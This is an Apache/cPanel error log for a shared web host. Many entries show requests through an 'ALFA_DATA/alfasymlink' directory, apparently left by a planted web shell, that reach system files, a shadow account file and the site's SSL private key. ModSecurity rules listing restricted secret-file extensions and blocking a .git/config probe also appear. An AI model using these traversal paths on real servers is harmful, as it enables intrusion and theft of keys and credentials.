[Sat Oct 24 16:17:26.284731 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.194.233.48:11344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:17:30.326788 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.73.142.41:12806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:17:34.163382 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.219.81.66:28405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:17:42.356116 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.212.86.97:1400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:17:43.509002 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.201:17398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/wwwacct.conf.shadow
[Sat Oct 24 16:17:50.149605 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.205.141.124:33045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS2/iomem_reg_shift
[Sat Oct 24 16:17:54.405253 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.207.89.138:19298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:18:06.134438 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.166.104.83:11696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:18:18.312935 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.83.8.142:17548] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:18:24.653243 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.2:30952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/objects_partial
[Sat Oct 24 16:18:34.270112 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.205.163.103:36397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:18:46.385492 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 184.73.167.217:31943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:18:50.387009 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.215.61.66:16964] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:18:54.412063 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.107.38:56863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:06.372252 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.23.103.31:16741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:14.337631 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.70.138.176:34772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:18.459205 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 98.82.63.147:13916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:22.473110 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.83.180.239:25850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:30.372934 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.197.76.210:32612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:34.479265 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 44.217.255.167:40112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/uhci_hcd/0000:00:01.2/rescan
[Sat Oct 24 16:19:38.220181 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.208.223.68:11500] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:38.863496 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.11:33848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/remote_node_defrag_ratio
[Sat Oct 24 16:19:39.921832 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 66.132.186.184:20220] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 16:19:42.206397 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.206.93.215:30705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:19:42.681925 2026] [authz_core:error] [pid 2692979:tid 2692979] [client 66.132.186.184:20234] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 16:19:44.892160 2026] [core:crit] [pid 2693039:tid 2693039] (13)Permission denied: [client 66.132.186.184:30024] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 16:19:52.350252 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.195:11236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/destroy_by_rcu
[Sat Oct 24 16:19:58.022530 2026] [authz_core:error] [pid 2693035:tid 2693035] [client 66.132.186.184:59814] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 16:19:58.023095 2026] [security2:error] [pid 2693035:tid 2693035] [client 66.132.186.184:59814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at0S7t3lMH_Ldre-PZtrUQAAACk"]
[Sat Oct 24 16:19:58.023118 2026] [security2:error] [pid 2693035:tid 2693035] [client 66.132.186.184:59814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at0S7t3lMH_Ldre-PZtrUQAAACk"]
[Sat Oct 24 16:20:02.481302 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.205.74.196:13021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:20:06.464889 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.196.118.6:11049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:20:09.613100 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 66.132.186.184:42220] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 16:20:18.432577 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.66.172:5703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:20:26.505459 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.234.200.207:44698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:20:34.325151 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 18.206.47.187:22280] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:20:42.526095 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.213.106.226:4381] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:20:50.632954 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.196.237.236:34403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:21:06.297781 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.203.111.15:30123] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:21:10.460841 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 34.231.156.59:14268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0303:00/physical_node1/driver/unbind
[Sat Oct 24 16:21:22.316976 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.232.39.98:37885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:21:58.535280 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.205.213.231:48312] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:21:58.950956 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 85.208.96.196:33176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_tables/sections/__kcrctab
[Sat Oct 24 16:22:01.130800 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.19:62156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/ctor
[Sat Oct 24 16:22:30.419264 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.234.197.175:33070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:22:38.467824 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.93.98.99:19121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:22:47.137884 2026] [ssl:error] [pid 2693039:tid 2693039] (5)Input/output error: [client 3.221.50.71:23965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:22:58.376381 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 52.1.106.130:9797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/custom_divisor
[Sat Oct 24 16:22:59.484978 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.5:58698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/share/kcare/secure_boot/shim_certificate.efi
[Sat Oct 24 16:23:06.321874 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.235.215.92:26832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:23:10.464373 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 184.73.35.182:31902] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:23:27.828140 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 52.202.52.82:58029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:23:34.399256 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.82.38.120:18334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:23:42.627709 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.223.115.10:53325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:23:46.390015 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.213.213.161:32744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:14.504422 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.213.85.234:10764] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:27.302026 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.152.163.42:6115] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:30.747707 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.203.68.145:62419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:34.624084 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.3.26.180:51349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:46.606683 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 54.144.185.255:13919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/bind
[Sat Oct 24 16:24:48.610288 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 66.249.66.38:58022] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 16:24:50.859684 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.239.197.197:15278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:54.664033 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.213.36.21:47579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:24:58.870159 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.70.138.176:48235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:06.628890 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 52.204.253.129:25591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:10.359902 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 52.3.155.146:3654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:14.368526 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.45.29.57:48041] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:15/eject
[Sat Oct 24 16:25:19.843927 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 100.29.107.38:13593] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:26.346234 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.45.77.169:8455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:30.686708 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.85.109.140:35774] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:38.632005 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.4.76.156:12586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:25:45.791606 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.11:12220] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/80-delicious.conf"] [unique_id "at0USd3lMH_Ldre-PZtrXQAAACk"]
[Sat Oct 24 16:25:45.792043 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.11:12220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/80-delicious.conf"] [unique_id "at0USd3lMH_Ldre-PZtrXQAAACk"]
[Sat Oct 24 16:25:45.792364 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.11:12220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/80-delicious.conf"] [unique_id "at0USd3lMH_Ldre-PZtrXQAAACk"]
[Sat Oct 24 16:25:46.424322 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.205.141.124:27616] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:26:02.885278 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.205.141.124:49612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:26:17.253582 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.15:60004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:64/irq
[Sat Oct 24 16:26:30.566032 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.199.252.22:41938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:26:34.755567 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.197.178.107:26640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:26:38.656173 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.206.65.8:2468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:26:42.673894 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 3.215.59.93:30083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:1d/eject
[Sat Oct 24 16:26:51.875937 2026] [security2:error] [pid 2693039:tid 2693039] [client 85.208.96.206:64856] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/afff7_6a54d_126d4396901c6b9baed80c40f59e9107.key"] [unique_id "at0Ui2nPEtuFANQY3S6_8QAAAC0"]
[Sat Oct 24 16:26:51.876370 2026] [security2:error] [pid 2693039:tid 2693039] [client 85.208.96.206:64856] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/afff7_6a54d_126d4396901c6b9baed80c40f59e9107.key"] [unique_id "at0Ui2nPEtuFANQY3S6_8QAAAC0"]
[Sat Oct 24 16:26:51.876811 2026] [security2:error] [pid 2693039:tid 2693039] [client 85.208.96.206:64856] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/afff7_6a54d_126d4396901c6b9baed80c40f59e9107.key"] [unique_id "at0Ui2nPEtuFANQY3S6_8QAAAC0"]
[Sat Oct 24 16:26:54.431790 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.214.186.220:45881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:27:02.590645 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.235.172.96:14240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:27:10.584099 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.235.239.240:33481] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS1/iomem_reg_shift
[Sat Oct 24 16:27:14.571769 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.204.81.148:8757] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:27:18.566308 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.197.178.107:26431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:27:42.798629 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.3.155.146:57348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:27:54.984847 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 18.214.124.6:6240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:28:06.600874 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.6.97.88:49861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:28:14.588336 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.40.168:59470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:28:30.836941 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.224.215.150:18949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:28:46.662590 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.159.98.248:26399] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:28:46.931778 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.4:49784] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/savsoft/php71/install.php"] [unique_id "at0U_jKiZtbKEGWJKoLSQQAAACE"]
[Sat Oct 24 16:28:46.931816 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.4:49784] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/savsoft/php71/install.php"] [unique_id "at0U_jKiZtbKEGWJKoLSQQAAACE"]
[Sat Oct 24 16:28:50.621335 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.157.99.244:1848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:14.658036 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.231.45.47:39547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:34.671482 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.7.33.248:51738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:38.607686 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 44.212.106.171:5654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:38.976500 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.204:62784] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/bin/diff3"] [unique_id "at0VMj8oejtZfsaip1YlxQAAABE"]
[Sat Oct 24 16:29:38.976547 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.204:62784] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/bin/diff3"] [unique_id "at0VMj8oejtZfsaip1YlxQAAABE"]
[Sat Oct 24 16:29:42.575650 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.197.178.107:42494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:51.037014 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.217.82.254:28277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:54.783478 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 107.20.224.184:20507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:29:57.097473 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.10:48208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/red_zone
[Sat Oct 24 16:29:58.764328 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 50.16.248.61:36503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:06.878089 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.88.84.219:31282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:10.670448 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.225.148.123:30536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:18.783034 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.107.102:18822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:22.851289 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.169.102.85:42049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 16:30:25.376147 2026] [security2:error] [pid 2692918:tid 2692918] [client 172.68.151.145:11149] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0VYbUNAjBk2uOT2T-EjAAAAAo"]
[Sat Oct 24 16:30:25.376409 2026] [security2:error] [pid 2692918:tid 2692918] [client 172.68.151.145:11149] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0VYbUNAjBk2uOT2T-EjAAAAAo"]
